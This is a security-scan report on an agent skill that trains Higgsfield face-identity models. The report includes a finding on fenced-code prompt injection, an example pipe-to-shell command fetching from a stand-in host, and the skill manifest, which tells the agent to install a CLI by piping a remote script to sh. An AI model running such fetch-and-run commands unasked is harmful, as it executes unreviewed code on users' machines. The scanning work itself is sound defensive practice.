CategoryWeightCategory scoreContribution

Securityprompt, exec, net, exfil, eval

35%

26.3 pts

Supply chainhash, typosquat, maintainer, lockfile

20%

100

20.0 pts

Maintenancestaleness, pinning, CI

15%

100

15.0 pts

TransparencySKILL.md, perms, README

15%

100

15.0 pts

Communityinstalls, verify, response

15%

100

15.0 pts

Findings & checks · 1 flagged

Securityscore 75 · 1 finding

HIGHFenced code block that tells the agent to run a commandSS-SKILL-INJECT-FENCED-RUN-01 · Prompt injection · README.md

HIGH — a successful fenced-imperative injection runs attacker-supplied shell on the user's machine.

Why it matters

A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.

The exact value spotted

excerptREADME.md· markdown

96```bash

97npm i -g marketing-cli

98```

100That's it. The global npm install copies the 58 skills into `~/.claude/skills/` and the 5 ag

… (85 chars elided on L100)

101

102Then open Claude Code in your project and run:

103

104```

Occurrences

1 occurrence · at L96

How to fix

Remove the runnable block, or rewrite it as a non-executable example the agent will not act on.

Delete the imperative ("run this", "execute the following") from inside the fence.
If you must show setup, label the block text (not bash) so it reads as prose, not a command.
Move any real installer into a reviewed, version-pinned script in the repo and link to it.

Avoid

```bash
Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh
```

Safer patternSee INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.

Framework references

OWASPLLM01 ATLASAML.T0051

Trace & refs

ruleSS-SKILL-INJECT-FENCED-RUN-01sha2569afb8292d70ff19f…rubric 365aacaView on GitHub

Supply chainscore 100 · 0 findings

✓—All supply chain checks passedNo findings in this category for the latest scan.pass

Maintenancescore 100 · 0 findings

✓—All maintenance checks passedNo findings in this category for the latest scan.pass

Transparencyscore 100 · 0 findings

✓—All transparency checks passedNo findings in this category for the latest scan.pass

Communityscore 100 · 0 findings

✓—All community checks passedNo findings in this category for the latest scan.pass

The primary manifest — the file an agent reads to learn what this artifact does.

skills/higgsfield-soul-id/SKILL.md · 1 file

skills/higgsfield-soul-id/SKILL.md6.8 KB · Markdown

name: higgsfield-soul-id

version: 0.3.0

description: |

Use when the user wants to train a reusable face-faithful Soul Character identity

on Higgsfield. One-time training returns a reference_id passed to Soul models in

higgsfield-generate via `--soul-id`.

Use this skill whenever: "train soul character", "create my Soul", "train my face",

"make my digital twin", "build me an avatar", "create a character of me",

"set up identity for video", "I want my face in generated images",

"face-faithful character", "reusable character", "brand character training",

"build a character from photos", "soul training", "soul-id create".

After training, logs the soul_reference_id to `brand/assets.md`.

NOT for: one-shot face swaps (use higgsfield-generate with --image),

fictional/non-photo avatars (use higgsfield-generate with a prompt).

Requires Higgsfield CLI + Basic plan or higher.

argument-hint: "[name] [photo paths...]"

allowed-tools:

- Bash

- Read

- Write

- Edit

- Skill

author: Higgsfield AI (ported by moiz)

license: MIT

user-invocable: true

metadata:

openclaw:

emoji: 🪪

/higgsfield-soul-id — Train a Reusable Face Identity

Train a face-faithful Soul Character model. Reusable across all Soul-powered image and video generations in higgsfield-generate.

When to use

User wants their face (or a specific person's face) in Higgsfield-generated images/videos
"train my soul", "create soul character", "make a digital twin", "brand character training"
Setting up a reusable identity before a campaign requiring consistent character appearance
The user has 5–20 photos of a face and wants them persisted as a model reference

Route elsewhere if:

User just wants a one-shot image with a face reference → higgsfield-generate with --image
User wants a fictional/non-photo avatar from a text description → higgsfield-generate with a prompt

On Activation

Read brand/visual-style.md if present — check for brand character or persona notes.
Ask for the name to assign to the Soul (one word, used for later reference).
Ask for photos (5–20 face photos, local paths or upload UUIDs).
Confirm plan tier: Soul training requires Basic+ plan. Check higgsfield account status.

Optional dependency — Higgsfield account

This skill requires the @higgsfield/cli binary and a Higgsfield account.

Without the CLI installed, return a clear actionable error:

higgsfield CLI not found. Install with:
  curl -fsSL https://raw.githubusercontent.com/higgsfield-ai/cli/main/install.sh | sh
Then authenticate:
  higgsfield auth login

Without an authed Higgsfield account, the CLI itself surfaces the auth prompt — no special handling needed in the skill.

Fallback for image generation only: if the user just needs a one-off image and doesn't have a Higgsfield account, route them to image-gen (Gemini, model gemini-3.1-flash-image-preview, free tier). Soul Character training has no fallback — it requires Higgsfield.

Step 0 — Bootstrap

Before any other command:

If higgsfield is not on $PATH, install it:

   curl -fsSL https://raw.githubusercontent.com/higgsfield-ai/cli/main/install.sh | sh

If higgsfield account status fails with Session expired / Not authenticated, ask the user to run higgsfield auth login (interactive) and wait for confirmation.
Soul training requires a paid plan (Basic+). If higgsfield account status shows free plan, tell the user before submitting.

UX Rules

Be concise. No raw IDs in chat. Just say "Soul ready" with a name reference.
Detect language and respond in it. CLI flags stay English.
Ask for the smallest set of inputs: name + photos. Pick a sensible model variant.
Polling is silent — training takes minutes. Don't repeat status updates.

Workflow

Get name. One word, used for later reference. Ask if missing.
Get photos. 5–20 face photos, varied angles and lighting. Local paths or already-uploaded IDs both work — --image accepts either.
Pick variant.

--soul-2 — for image generation (default)
--soul-cinematic — for cinematic / video work

Choose based on user's stated downstream use. Default to --soul-2.

Submit.

   higgsfield soul-id create --name "<name>" --soul-2 --image ./photo1.png --image ./photo2.png ...
   higgsfield soul-id create --name "<name>" --soul-2 --image <upload_id> --image <upload_id> ...

CLI auto-uploads paths. Captures returned reference id.

Wait. higgsfield soul-id wait <id>. Silent. Default timeout 30m.
Deliver. "Soul <name> ready. Use in generate with --soul-id <id>."
Log to brand assets. Append the soul reference_id to brand/assets.md so it's discoverable in future sessions without re-asking.

Use the Soul

Once trained, pass to higgsfield-generate:

higgsfield generate create text2image_soul_v2 --prompt "..." --soul-id <ref_id> --wait
higgsfield generate create soul_cinema_studio --prompt "..." --soul-id <ref_id> --wait

Listing existing Souls

higgsfield soul-id list                   # all references
higgsfield soul-id get <id>               # one by id

Errors

Minimum Basic plan required — user is on free plan; tell them.
Training failed — check photos quality (5+ unique faces, well-lit).
Session expired → higgsfield auth login.

Anti-Patterns

Anti-pattern	Why it fails	Instead
Submitting fewer than 5 photos	Training with too few images produces a weak identity — the soul drifts from the source face in generation.	Ask for at least 5 photos, ideally 10–15, varied angles and lighting conditions. See `references/photo-guide.md`.
Using the wrong variant for the job	`--soul-2` for a cinematic video generates identity but the model wasn't optimized for motion fidelity.	Pick `--soul-2` for stills, `--soul-cinematic` for video/cinematic work.
Not logging the reference_id	The user will need to re-ask for their soul IDs in every future session.	Always append the soul reference_id to `brand/assets.md` on success.
Trying to train on free plan	Command fails mid-run with a plan error.	Check `higgsfield account status` before submitting. Surface the plan requirement upfront.

Reference docs

references/photo-guide.md — what photos work best
references/troubleshooting.md — common training failures

Attribution

Upstream version: 0.3.0 Upstream commit: 1dcfe2687c3a9092232bac55c2b6b9ae3fc717d7

Drift detection: if the upstream skill changes, re-run mktg-steal https://github.com/higgsfield-ai/skills to evaluate the diff.

higgsfield-soul-id— agent skill

Is higgsfield-soul-id safe to install?

/higgsfield-soul-id — Train a Reusable Face Identity

When to use

On Activation

Optional dependency — Higgsfield account

Step 0 — Bootstrap

UX Rules

Workflow

Use the Soul

Listing existing Souls

Errors

Anti-Patterns

Reference docs

Attribution

Audit the pieces. Scan the whole. Decide.